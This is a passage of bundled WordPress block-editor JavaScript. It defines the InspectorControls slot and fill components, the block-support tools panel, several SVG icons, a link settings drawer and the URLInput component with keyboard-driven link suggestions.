18055 __experimentalGroup,
18056 resetAllFilter
18057}) {
18058 if (__experimentalGroup) {
18059 external_wp_deprecated_default()(
18060 "`__experimentalGroup` property in `InspectorControlsFill`",
18061 {
18062 since: "6.2",
18063 version: "6.4",
18064 alternative: "`group`"
18065 }
18066 );
18067 group = __experimentalGroup;
18068 }
18069 const context = useBlockEditContext();
18070 const Fill = groups_groups_default[group]?.Fill;
18071 if (!Fill) {
18072 external_wp_warning_default()(`Unknown InspectorControls group "${group}" provided.`);
18073 return null;
18074 }
18075 if (!context[mayDisplayControlsKey]) {
18076 return null;
18077 }
18078 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalStyleProvider, { document, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Fill, { children: (fillProps) => {
18079 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18080 ToolsPanelInspectorControl,
18081 {
18082 fillProps,
18083 children,
18084 resetAllFilter
18085 }
18086 );
18087 } }) });
18088}
18089function RegisterResetAll({ resetAllFilter, children }) {
18090 const { registerResetAllFilter, deregisterResetAllFilter } = (0,external_wp_element_namespaceObject.useContext)(external_wp_components_namespaceObject.__experimentalToolsPanelContext);
18091 (0,external_wp_element_namespaceObject.useEffect)(() => {
18092 if (resetAllFilter && registerResetAllFilter && deregisterResetAllFilter) {
18093 registerResetAllFilter(resetAllFilter);
18094 return () => {
18095 deregisterResetAllFilter(resetAllFilter);
18096 };
18097 }
18098 }, [resetAllFilter, registerResetAllFilter, deregisterResetAllFilter]);
18099 return children;
18100}
18101function ToolsPanelInspectorControl({ children, resetAllFilter, fillProps }) {
18102 const { forwardedContext = [] } = fillProps;
18103 const innerMarkup = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RegisterResetAll, { resetAllFilter, children });
18104 return forwardedContext.reduce(
18105 (inner, [Provider, props]) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, { ...props, children: inner }),
18106 innerMarkup
18107 );
18108}
18109
18110
18111;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls/block-support-tools-panel.js
18112
18113
18114
18115
18116
18117
18118
18119function BlockSupportToolsPanel({ children, group, label }) {
18120 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
18121 const {
18122 getBlockAttributes,
18123 getMultiSelectedBlockClientIds,
18124 getSelectedBlockClientId,
18125 hasMultiSelection
18126 } = (0,external_wp_data_namespaceObject.useSelect)(store);
18127 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
18128 const panelId = getSelectedBlockClientId();
18129 const resetAll = (0,external_wp_element_namespaceObject.useCallback)(
18130 (resetFilters = []) => {
18131 const newAttributes = {};
18132 const clientIds = hasMultiSelection() ? getMultiSelectedBlockClientIds() : [panelId];
18133 clientIds.forEach((clientId) => {
18134 const { style } = getBlockAttributes(clientId);
18135 let newBlockAttributes = { style };
18136 resetFilters.forEach((resetFilter) => {
18137 newBlockAttributes = {
18138 ...newBlockAttributes,
18139 ...resetFilter(newBlockAttributes)
18140 };
18141 });
18142 newBlockAttributes = {
18143 ...newBlockAttributes,
18144 style: utils_cleanEmptyObject(newBlockAttributes.style)
18145 };
18146 newAttributes[clientId] = newBlockAttributes;
18147 });
18148 updateBlockAttributes(clientIds, newAttributes, true);
18149 },
18150 [
18151 getBlockAttributes,
18152 getMultiSelectedBlockClientIds,
18153 hasMultiSelection,
18154 panelId,
18155 updateBlockAttributes
18156 ]
18157 );
18158 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18159 external_wp_components_namespaceObject.__experimentalToolsPanel,
18160 {
18161 className: `${group}-block-support-panel`,
18162 label,
18163 resetAll,
18164 panelId,
18165 hasInnerWrapper: true,
18166 shouldRenderPlaceholderItems: true,
18167 __experimentalFirstVisibleItemClass: "first",
18168 __experimentalLastVisibleItemClass: "last",
18169 dropdownMenuProps,
18170 children
18171 },
18172 panelId
18173 );
18174}
18175
18176
18177;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls/block-support-slot-container.js
18178
18179
18180
18181function BlockSupportSlotContainer({
18182 Slot,
18183 fillProps,
18184 ...props
18185}) {
18186 const toolsPanelContext = (0,external_wp_element_namespaceObject.useContext)(external_wp_components_namespaceObject.__experimentalToolsPanelContext);
18187 const computedFillProps = (0,external_wp_element_namespaceObject.useMemo)(
18188 () => ({
18189 ...fillProps ?? {},
18190 forwardedContext: [
18191 ...fillProps?.forwardedContext ?? [],
18192 [external_wp_components_namespaceObject.__experimentalToolsPanelContext.Provider, { value: toolsPanelContext }]
18193 ]
18194 }),
18195 [toolsPanelContext, fillProps]
18196 );
18197 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Slot, { ...props, fillProps: computedFillProps, bubblesVirtually: true });
18198}
18199
18200
18201;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls/slot.js
18202
18203
18204
18205
18206
18207
18208
18209function InspectorControlsSlot({
18210 __experimentalGroup,
18211 group = "default",
18212 label,
18213 fillProps,
18214 ...props
18215}) {
18216 if (__experimentalGroup) {
18217 external_wp_deprecated_default()(
18218 "`__experimentalGroup` property in `InspectorControlsSlot`",
18219 {
18220 since: "6.2",
18221 version: "6.4",
18222 alternative: "`group`"
18223 }
18224 );
18225 group = __experimentalGroup;
18226 }
18227 const slotFill = groups_groups_default[group];
18228 const fills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(slotFill?.name);
18229 if (!slotFill) {
18230 external_wp_warning_default()(`Unknown InspectorControls group "${group}" provided.`);
18231 return null;
18232 }
18233 if (!fills?.length) {
18234 return null;
18235 }
18236 const { Slot } = slotFill;
18237 if (label) {
18238 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockSupportToolsPanel, { group, label, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18239 BlockSupportSlotContainer,
18240 {
18241 ...props,
18242 fillProps,
18243 Slot
18244 }
18245 ) });
18246 }
18247 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Slot, { ...props, fillProps, bubblesVirtually: true });
18248}
18249
18250
18251;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls/index.js
18252
18253
18254
18255const InspectorControls = InspectorControlsFill;
18256InspectorControls.Slot = InspectorControlsSlot;
18257const InspectorAdvancedControls = (props) => {
18258 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(InspectorControlsFill, { ...props, group: "advanced" });
18259};
18260InspectorAdvancedControls.Slot = (props) => {
18261 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(InspectorControlsSlot, { ...props, group: "advanced" });
18262};
18263InspectorAdvancedControls.slotName = "InspectorAdvancedControls";
18264var inspector_controls_default = InspectorControls;
18265
18266
18267;// ./node_modules/@wordpress/icons/build-module/library/reset.js
18268
18269
18270var reset_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M7 11.5h10V13H7z" }) });
18271
18272
18273;// external ["wp","url"]
18274const external_wp_url_namespaceObject = window["wp"]["url"];
18275;// external ["wp","dom"]
18276const external_wp_dom_namespaceObject = window["wp"]["dom"];
18277;// external ["wp","blob"]
18278const external_wp_blob_namespaceObject = window["wp"]["blob"];
18279;// external ["wp","keycodes"]
18280const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
18281;// ./node_modules/@wordpress/icons/build-module/library/media.js
18282
18283
18284var media_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
18285 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m7 6.5 4 2.5-4 2.5z" }),
18286 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18287 external_wp_primitives_namespaceObject.Path,
18288 {
18289 fillRule: "evenodd",
18290 clipRule: "evenodd",
18291 d: "m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z"
18292 }
18293 )
18294] });
18295
18296
18297;// ./node_modules/@wordpress/icons/build-module/library/upload.js
18298
18299
18300var upload_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z" }) });
18301
18302
18303;// ./node_modules/@wordpress/icons/build-module/library/post-featured-image.js
18304
18305
18306var post_featured_image_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-.6 0-1 .4-1 1v7c0 .5.4 1 1 1h14c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1zM5.5 10.5v-.4l1.8-1.3 1.3.8c.3.2.7.2.9-.1L11 8.1l2.4 2.4H5.5zm13 0h-2.9l-4-4c-.3-.3-.8-.3-1.1 0L8.9 8l-1.2-.8c-.3-.2-.6-.2-.9 0l-1.3 1V4.5h13v6zM4 20h9v-1.5H4V20zm0-4h16v-1.5H4V16z" }) });
18307
18308
18309;// ./node_modules/@wordpress/block-editor/build-module/components/media-upload/index.js
18310
18311const MediaUpload = () => null;
18312var media_upload_default = (0,external_wp_components_namespaceObject.withFilters)("editor.MediaUpload")(MediaUpload);
18313
18314
18315;// ./node_modules/@wordpress/block-editor/build-module/components/media-upload/check.js
18316
18317
18318function MediaUploadCheck({ fallback = null, children }) {
18319 const hasUploadPermissions = (0,external_wp_data_namespaceObject.useSelect)((select) => {
18320 const { getSettings } = select(store);
18321 return !!getSettings().mediaUpload;
18322 }, []);
18323 return hasUploadPermissions ? children : fallback;
18324}
18325var check_default = MediaUploadCheck;
18326
18327
18328;// external ["wp","isShallowEqual"]
18329const external_wp_isShallowEqual_namespaceObject = window["wp"]["isShallowEqual"];
18330var external_wp_isShallowEqual_default = /*#__PURE__*/__webpack_require__.n(external_wp_isShallowEqual_namespaceObject);
18331;// ./node_modules/@wordpress/icons/build-module/library/link-off.js
18332
18333
18334var link_off_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.031 4.703 15.576 4l-1.56 3H14v.03l-2.324 4.47H9.5V13h1.396l-1.502 2.889h-.95a3.694 3.694 0 0 1 0-7.389H10V7H8.444a5.194 5.194 0 1 0 0 10.389h.17L7.5 19.53l1.416.719L15.049 8.5h.507a3.694 3.694 0 0 1 0 7.39H14v1.5h1.556a5.194 5.194 0 0 0 .273-10.383l1.202-2.304Z" }) });
18335
18336
18337;// ./node_modules/@wordpress/icons/build-module/library/keyboard-return.js
18338
18339
18340var keyboard_return_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m6.734 16.106 2.176-2.38-1.093-1.028-3.846 4.158 3.846 4.158 1.093-1.028-2.176-2.38h2.811c1.125 0 2.25.03 3.374 0 1.428-.001 3.362-.25 4.963-1.277 1.66-1.065 2.868-2.906 2.868-5.859 0-2.479-1.327-4.896-3.65-5.93-1.82-.813-3.044-.8-4.806-.788l-.567.002v1.5c.184 0 .368 0 .553-.002 1.82-.007 2.704-.014 4.21.657 1.854.827 2.76 2.657 2.76 4.561 0 2.472-.973 3.824-2.178 4.596-1.258.807-2.864 1.04-4.163 1.04h-.02c-1.115.03-2.229 0-3.344 0H6.734Z" }) });
18341
18342
18343;// ./node_modules/@wordpress/icons/build-module/library/chevron-left-small.js
18344
18345
18346var chevron_left_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z" }) });
18347
18348
18349;// ./node_modules/@wordpress/icons/build-module/library/chevron-right-small.js
18350
18351
18352var chevron_right_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z" }) });
18353
18354
18355;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/settings-drawer.js
18356
18357
18358
18359
18360
18361
18362function LinkSettingsDrawer({ children, settingsOpen, setSettingsOpen }) {
18363 const prefersReducedMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
18364 const MaybeAnimatePresence = prefersReducedMotion ? external_wp_element_namespaceObject.Fragment : external_wp_components_namespaceObject.__unstableAnimatePresence;
18365 const MaybeMotionDiv = prefersReducedMotion ? "div" : external_wp_components_namespaceObject.__unstableMotion.div;
18366 const id = (0,external_wp_compose_namespaceObject.useInstanceId)(LinkSettingsDrawer);
18367 const settingsDrawerId = `link-control-settings-drawer-${id}`;
18368 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
18369 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18370 external_wp_components_namespaceObject.Button,
18371 {
18372 __next40pxDefaultSize: true,
18373 className: "block-editor-link-control__drawer-toggle",
18374 "aria-expanded": settingsOpen,
18375 onClick: () => setSettingsOpen(!settingsOpen),
18376 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_small_default : chevron_right_small_default,
18377 "aria-controls": settingsDrawerId,
18378 children: (0,external_wp_i18n_namespaceObject._x)("Advanced", "Additional link settings")
18379 }
18380 ),
18381 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MaybeAnimatePresence, { children: settingsOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18382 MaybeMotionDiv,
18383 {
18384 className: "block-editor-link-control__drawer",
18385 hidden: !settingsOpen,
18386 id: settingsDrawerId,
18387 initial: "collapsed",
18388 animate: "open",
18389 exit: "collapsed",
18390 variants: {
18391 open: { opacity: 1, height: "auto" },
18392 collapsed: { opacity: 0, height: 0 }
18393 },
18394 transition: {
18395 duration: 0.1
18396 },
18397 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-link-control__drawer-inner", children })
18398 }
18399 ) })
18400 ] });
18401}
18402var settings_drawer_default = LinkSettingsDrawer;
18403
18404
18405// EXTERNAL MODULE: external "React"
18406var external_React_ = __webpack_require__(1609);
18407;// ./node_modules/@wordpress/block-editor/build-module/components/url-input/index.js
18408
18409
18410
18411
18412
18413
18414
18415
18416
18417
18418
18419function isFunction(maybeFunc) {
18420 return typeof maybeFunc === "function";
18421}
18422class URLInput extends external_wp_element_namespaceObject.Component {
18423 constructor(props) {
18424 super(props);
18425 this.onChange = this.onChange.bind(this);
18426 this.onFocus = this.onFocus.bind(this);
18427 this.onKeyDown = this.onKeyDown.bind(this);
18428 this.selectLink = this.selectLink.bind(this);
18429 this.handleOnClick = this.handleOnClick.bind(this);
18430 this.bindSuggestionNode = this.bindSuggestionNode.bind(this);
18431 this.autocompleteRef = props.autocompleteRef || (0,external_wp_element_namespaceObject.createRef)();
18432 this.inputRef = props.inputRef || (0,external_wp_element_namespaceObject.createRef)();
18433 this.updateSuggestions = (0,external_wp_compose_namespaceObject.debounce)(
18434 this.updateSuggestions.bind(this),
18435 200
18436 );
18437 this.suggestionNodes = [];
18438 this.suggestionsRequest = null;
18439 this.state = {
18440 suggestions: [],
18441 showSuggestions: false,
18442 suggestionsValue: null,
18443 selectedSuggestion: null,
18444 suggestionsListboxId: "",
18445 suggestionOptionIdPrefix: ""
18446 };
18447 }
18448 componentDidUpdate(prevProps) {
18449 const { showSuggestions, selectedSuggestion } = this.state;
18450 const { value, __experimentalShowInitialSuggestions = false } = this.props;
18451 if (showSuggestions && selectedSuggestion !== null && this.suggestionNodes[selectedSuggestion]) {
18452 this.suggestionNodes[selectedSuggestion].scrollIntoView({
18453 behavior: "instant",
18454 block: "nearest",
18455 inline: "nearest"
18456 });
18457 }
18458 if (prevProps.value !== value && !this.props.disableSuggestions) {
18459 if (value?.length) {
18460 this.updateSuggestions(value);
18461 } else if (__experimentalShowInitialSuggestions) {
18462 this.updateSuggestions();
18463 }
18464 }
18465 }
18466 componentDidMount() {
18467 if (this.shouldShowInitialSuggestions()) {
18468 this.updateSuggestions();
18469 }
18470 }
18471 componentWillUnmount() {
18472 this.suggestionsRequest?.cancel?.();
18473 this.suggestionsRequest = null;
18474 }
18475 bindSuggestionNode(index) {
18476 return (ref) => {
18477 this.suggestionNodes[index] = ref;
18478 };
18479 }
18480 shouldShowInitialSuggestions() {
18481 const { __experimentalShowInitialSuggestions = false, value } = this.props;
18482 return __experimentalShowInitialSuggestions && !(value && value.length);
18483 }
18484 updateSuggestions(value = "") {
18485 const {
18486 __experimentalFetchLinkSuggestions: fetchLinkSuggestions,
18487 __experimentalHandleURLSuggestions: handleURLSuggestions
18488 } = this.props;
18489 if (!fetchLinkSuggestions) {
18490 return;
18491 }
18492 const isInitialSuggestions = !value?.length;
18493 value = value.trim();
18494 if (!isInitialSuggestions && (value.length < 2 || !handleURLSuggestions && (0,external_wp_url_namespaceObject.isURL)(value))) {
18495 this.suggestionsRequest?.cancel?.();
18496 this.suggestionsRequest = null;
18497 this.setState({
18498 suggestions: [],
18499 showSuggestions: false,
18500 suggestionsValue: value,
18501 selectedSuggestion: null,
18502 loading: false
18503 });
18504 return;
18505 }
18506 this.setState({
18507 selectedSuggestion: null,
18508 loading: true
18509 });
18510 const request = fetchLinkSuggestions(value, {
18511 isInitialSuggestions
18512 });
18513 request.then((suggestions) => {
18514 if (this.suggestionsRequest !== request) {
18515 return;
18516 }
18517 this.setState({
18518 suggestions,
18519 suggestionsValue: value,
18520 loading: false,
18521 showSuggestions: !!suggestions.length
18522 });
18523 if (!!suggestions.length) {
18524 this.props.debouncedSpeak(
18525 (0,external_wp_i18n_namespaceObject.sprintf)(
18526 /* translators: %d: number of results. */
18527 (0,external_wp_i18n_namespaceObject._n)(
18528 "%d result found, use up and down arrow keys to navigate.",
18529 "%d results found, use up and down arrow keys to navigate.",
18530 suggestions.length
18531 ),
18532 suggestions.length
18533 ),
18534 "assertive"
18535 );
18536 } else {
18537 this.props.debouncedSpeak(
18538 (0,external_wp_i18n_namespaceObject.__)("No results."),
18539 "assertive"
18540 );
18541 }
18542 }).catch(() => {
18543 if (this.suggestionsRequest !== request) {
18544 return;
18545 }
18546 this.setState({
18547 loading: false
18548 });
18549 }).finally(() => {
18550 if (this.suggestionsRequest === request) {
18551 this.suggestionsRequest = null;
18552 }
18553 });
18554 this.suggestionsRequest = request;
18555 }
18556 onChange(newValue) {
18557 this.props.onChange(newValue);
18558 }
18559 onFocus() {
18560 const { suggestions } = this.state;
18561 const { disableSuggestions, value } = this.props;
18562 if (value && !disableSuggestions && !(suggestions && suggestions.length) && this.suggestionsRequest === null) {
18563 this.updateSuggestions(value);
18564 }
18565 }
18566 onKeyDown(event) {
18567 this.props.onKeyDown?.(event);
18568 const { showSuggestions, selectedSuggestion, suggestions, loading } = this.state;
18569 if (!showSuggestions || !suggestions.length || loading) {
18570 switch (event.keyCode) {
18571 // When UP is pressed, if the caret is at the start of the text, move it to the 0
18572 // position.
18573 case external_wp_keycodes_namespaceObject.UP: {
18574 if (0 !== event.target.selectionStart) {
18575 event.preventDefault();
18576 event.target.setSelectionRange(0, 0);
18577 }
18578 break;
18579 }
18580 // When DOWN is pressed, if the caret is not at the end of the text, move it to the
18581 // last position.
18582 case external_wp_keycodes_namespaceObject.DOWN: {
18583 if (this.props.value.length !== event.target.selectionStart) {
18584 event.preventDefault();
18585 event.target.setSelectionRange(
18586 this.props.value.length,
18587 this.props.value.length
18588 );
18589 }
18590 break;
18591 }
18592 // Submitting while loading should trigger onSubmit.
18593 case external_wp_keycodes_namespaceObject.ENTER: {
18594 if (this.props.onSubmit) {
18595 event.preventDefault();
18596 this.props.onSubmit(null, event);
18597 }
18598 break;
18599 }
18600 }
18601 return;
18602 }
18603 const suggestion = this.state.suggestions[this.state.selectedSuggestion];
18604 switch (event.keyCode) {
18605 case external_wp_keycodes_namespaceObject.UP: {
18606 event.preventDefault();
18607 const previousIndex = !selectedSuggestion ? suggestions.length - 1 : selectedSuggestion - 1;
18608 this.setState({
18609 selectedSuggestion: previousIndex
18610 });
18611 break;
18612 }
18613 case external_wp_keycodes_namespaceObject.DOWN: {
18614 event.preventDefault();
18615 const nextIndex = selectedSuggestion === null || selectedSuggestion === suggestions.length - 1 ? 0 : selectedSuggestion + 1;
18616 this.setState({
18617 selectedSuggestion: nextIndex
18618 });
18619 break;
18620 }
18621 case external_wp_keycodes_namespaceObject.TAB: {
18622 if (this.state.selectedSuggestion !== null) {
18623 this.selectLink(suggestion);
18624 this.props.speak((0,external_wp_i18n_namespaceObject.__)("Link selected."));
18625 }
18626 break;
18627 }
18628 case external_wp_keycodes_namespaceObject.ENTER: {
18629 event.preventDefault();
18630 if (this.state.selectedSuggestion !== null) {
18631 this.selectLink(suggestion);
18632 if (this.props.onSubmit) {
18633 this.props.onSubmit(suggestion, event);
18634 }
18635 } else if (this.props.onSubmit) {
18636 this.props.onSubmit(null, event);
18637 }
18638 break;
18639 }
18640 }
18641 }
18642 selectLink(suggestion) {
18643 this.props.onChange(suggestion.url, suggestion);
18644 this.setState({
18645 selectedSuggestion: null,
18646 showSuggestions: false
18647 });
18648 }
18649 handleOnClick(suggestion) {
18650 this.selectLink(suggestion);
18651 this.inputRef.current.focus();
18652 }
18653 static getDerivedStateFromProps({
18654 value,
18655 instanceId,
18656 disableSuggestions,
18657 __experimentalShowInitialSuggestions = false
18658 }, { showSuggestions }) {
18659 let shouldShowSuggestions = showSuggestions;
18660 const hasValue = value && value.length;
18661 if (!__experimentalShowInitialSuggestions && !hasValue) {
18662 shouldShowSuggestions = false;
18663 }
18664 if (disableSuggestions === true) {
18665 shouldShowSuggestions = false;
18666 }
18667 return {
18668 showSuggestions: shouldShowSuggestions,
18669 suggestionsListboxId: `block-editor-url-input-suggestions-${instanceId}`,
18670 suggestionOptionIdPrefix: `block-editor-url-input-suggestion-${instanceId}`
18671 };
18672 }
18673 render() {
18674 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
18675 this.renderControl(),
18676 this.renderSuggestions()
18677 ] });
18678 }
18679 renderControl() {
18680 const {
18681 label = null,
18682 className,
18683 isFullWidth,
18684 instanceId,
18685 placeholder = (0,external_wp_i18n_namespaceObject.__)("Paste URL or type to search"),
18686 __experimentalRenderControl: renderControl,
18687 value = "",
18688 hideLabelFromVision = false,
18689 help = null,
18690 disabled = false
18691 } = this.props;
18692 const {
18693 loading,
18694 showSuggestions,
18695 selectedSuggestion,
18696 suggestionsListboxId,
18697 suggestionOptionIdPrefix
18698 } = this.state;
18699 const inputId = `url-input-control-${instanceId}`;
18700 const controlProps = {
18701 id: inputId,
18702 // Passes attribute to label for the for attribute
18703 label,
18704 className: dist_clsx("block-editor-url-input", className, {
18705 "is-full-width": isFullWidth
18706 }),
18707 hideLabelFromVision
18708 };
18709 const inputProps = {
18710 id: inputId,
18711 value,
18712 required: true,
18713 type: "text",
18714 onChange: disabled ? () => {
18715 } : this.onChange,
18716 // Disable onChange when disabled
18717 onFocus: disabled ? () => {
18718 } : this.onFocus,
18719 // Disable onFocus when disabled
18720 placeholder,
18721 onKeyDown: disabled ? () => {
18722 } : this.onKeyDown,
18723 // Disable onKeyDown when disabled
18724 role: "combobox",
18725 "aria-label": label ? void 0 : (0,external_wp_i18n_namespaceObject.__)("URL"),
18726 // Ensure input always has an accessible label
18727 "aria-expanded": showSuggestions,
18728 "aria-autocomplete": "list",
18729 "aria-owns": suggestionsListboxId,
18730 "aria-activedescendant": selectedSuggestion !== null ? `${suggestionOptionIdPrefix}-${selectedSuggestion}` : void 0,
18731 ref: this.inputRef,
18732 disabled,
18733 suffix: this.props.suffix,
18734 help
18735 };
18736 if (renderControl) {
18737 return renderControl(controlProps, inputProps, loading);
18738 }
18739 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.BaseControl, { __nextHasNoMarginBottom: true, ...controlProps, children: [
18740 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControl, { ...inputProps, __next40pxDefaultSize: true }),
18741 loading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})
18742 ] });
18743 }
18744 renderSuggestions() {
18745 const {
18746 className,
18747 __experimentalRenderSuggestions: renderSuggestions
18748 } = this.props;
18749 const {
18750 showSuggestions,
18751 suggestions,
18752 suggestionsValue,
18753 selectedSuggestion,
18754 suggestionsListboxId,
18755 suggestionOptionIdPrefix,
18756 loading
18757 } = this.state;
18758 if (!showSuggestions || suggestions.length === 0) {
18759 return null;
18760 }
18761 const suggestionsListProps = {
18762 id: suggestionsListboxId,
18763 ref: this.autocompleteRef,
18764 role: "listbox"
18765 };
18766 const buildSuggestionItemProps = (suggestion, index) => {
18767 return {
18768 role: "option",
18769 tabIndex: "-1",
18770 id: `${suggestionOptionIdPrefix}-${index}`,
18771 ref: this.bindSuggestionNode(index),
18772 "aria-selected": index === selectedSuggestion ? true : void 0
18773 };
18774 };
18775 if (isFunction(renderSuggestions)) {
18776 return renderSuggestions({
18777 suggestions,
18778 selectedSuggestion,
18779 suggestionsListProps,
18780 buildSuggestionItemProps,
18781 isLoading: loading,
18782 handleSuggestionClick: this.handleOnClick,
18783 isInitialSuggestions: !suggestionsValue?.length,
18784 currentInputValue: suggestionsValue
18785 });
18786 }
18787 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Popover, { placement: "bottom", focusOnMount: false, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18788 "div",
18789 {
18790 ...suggestionsListProps,
18791 className: dist_clsx("block-editor-url-input__suggestions", {
18792 [`${className}__suggestions`]: className
18793 }),
18794 children: suggestions.map((suggestion, index) => /* @__PURE__ */ (0,external_React_.createElement)(
18795 external_wp_components_namespaceObject.Button,
18796 {
18797 __next40pxDefaultSize: true,
18798 ...buildSuggestionItemProps(suggestion, index),
18799 key: suggestion.id,
18800 className: dist_clsx(
18801 "block-editor-url-input__suggestion",
18802 {
18803 "is-selected": index === selectedSuggestion
18804 }
18805 ),
18806 onClick: () => this.handleOnClick(suggestion)
18807 },
18808 suggestion.title
18809 ))
18810 }
18811 ) });
18812 }
18813}
18814var url_input_default = (0,external_wp_compose_namespaceObject.compose)(
18815 external_wp_compose_namespaceObject.withSafeTimeout,
18816 external_wp_components_namespaceObject.withSpokenMessages,
18817 external_wp_compose_namespaceObject.withInstanceId,
18818 (0,external_wp_data_namespaceObject.withSelect)((select, props) => {
18819 if (isFunction(props.__experimentalFetchLinkSuggestions)) {
18820 return;
18821 }
18822 const { getSettings } = select(store);
18823 return {
18824 __experimentalFetchLinkSuggestions: getSettings().__experimentalFetchLinkSuggestions
18825 };
18826 })
18827)(URLInput);
18828
18829
18830;// ./node_modules/@wordpress/icons/build-module/library/plus.js
18831
18832
